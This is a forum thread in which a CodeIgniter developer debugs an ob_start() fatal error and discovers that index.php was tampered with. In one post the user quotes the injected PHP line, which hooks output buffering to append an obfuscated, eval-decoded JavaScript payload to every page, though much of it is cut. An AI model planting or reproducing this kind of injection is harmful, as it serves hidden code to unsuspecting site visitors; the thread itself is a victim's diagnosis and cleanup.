Welcome Guest, Not a member yet? Register   Sign In
Fatal error: ob_start()
#1

[eluser]ilSignorCarlo[/eluser]
Hi,
all of a sudden on the homepage of the site I developed some time ago it appeared this error:


Fatal error: ob_start() [<a href='ref.outcontrol'>ref.outcontrol</a>]: Cannot use output buffering in output buffering display handlers in ..../system/libraries/Exceptions.php on line 160

I searched around and read about compression and a setting relative to this in the config.php file, $config['compress_output'], but in my config it is already set to FALSE.

What else can I check/do?

Thanks.
#2

[eluser]pistolPete[/eluser]
Check if any of your files have whitespaces before / after the PHP tags, try omitting the closing PHP tag.
#3

[eluser]ilSignorCarlo[/eluser]
[quote author="pistolPete" date="1254924384"]Check if any of your files have whitespaces before / after the PHP tags, try omitting the closing PHP tag.[/quote]

I checked all my controllers, models and helpers and replaced the closing php tag with the commented string. There wasn't any whitespace, I think. Is there any quick way to check this?

Any other idea?
#4

[eluser]pistolPete[/eluser]
Did you post all error messages?
Line 160 is within the function show_php_error(), you seem to have a php error somewhere.

Do you echo something outside a view?
#5

[eluser]ilSignorCarlo[/eluser]
[quote author="pistolPete" date="1254927334"]Did you post all error messages?
Line 160 is within the function show_php_error(), you seem to have a php error somewhere.

Do you echo something outside a view?[/quote]

Yes, I did post all error messages I get. I grepped for "echo" and "print" and no, I don't have any of theme outside a view.
#6

[eluser]ilSignorCarlo[/eluser]
The fact is that no one has changed any php file for months.
#7

[eluser]Steve Grant[/eluser]
[quote author="ilSignorCarlo" date="1254945579"]The fact is that no one has changed any php file for months.[/quote]
In which case, I suspect somebody's changed the configuration of the web server. Have a look in php.ini and httpd.conf to ensure that the compression libraries are enabled.
#8

[eluser]ilSignorCarlo[/eluser]
Today I upgraded CodeIgniter to the latest version, but this didn't solve the issue.
Anyway, I tried commenting ob_start() in Exceptions.php and now it loads the site, but in the end of the page it shows a lot of php errors, like this:

Code:
Severity: Notice

Message: Undefined variable: Z3cZ25Z3cZ2526Z3cZ27Z3c

Filename: home/index.php

Line Number: 1

Or like this:

Code:
Notice: ob_end_clean() [ref.outcontrol]: failed to delete buffer. No buffer to delete. in /web/htdocs/www.circolomagnolia.it/home/system/libraries/Exceptions.php on line 165

Don't know if this can help identifying the source of the problem.

The hosting service is Aruba and when I opened a ticket for this problem they say it may be caused by some javascript script. Is that possible? I mean, that is a php error.
#9

[eluser]ilSignorCarlo[/eluser]
Ok, I think I've found the problem.

In the index.php file there was this line:

Code:
&lt;?php ob_start("security_update"); function security_update($buffer){return $buffer."[removed]$=\"Z63bZ3dZ228Z2564s);Z2573tZ253dtZ256dpZ253dZ2527Z2527;for(iZ253d0Z253biZ253cdZ2573.leZ256eZ22;deZ3dZ22iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+4-4Z3ebu`|qsu8tZ3ciuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+Z22;dzZ3dZ22Z2566uncZ2574ioZ256e
...
...
...
function z(s){r=\"\";for(i=0;i<s.length;i++){if(s.charAt(i)==\"Z\"){s1=\"%\"}else{s1=s.charAt(i)}r=r+s1;}return unescape(r);}eval(z($));[removed]";}//important security update

I cut a lot of code because it contains a apparently random characters.
Anyway, is it malicious code? Do you think someone hacked the site? The index.php has permission 755, is this right?

Removing the code solved the problem.
#10

[eluser]vijaykm[/eluser]
http://ellislab.com/forums/viewthread/105257/ , this page is useful to solve, because i had solved the same problem




Theme © iAndrew 2016 - Forum software by © MyBB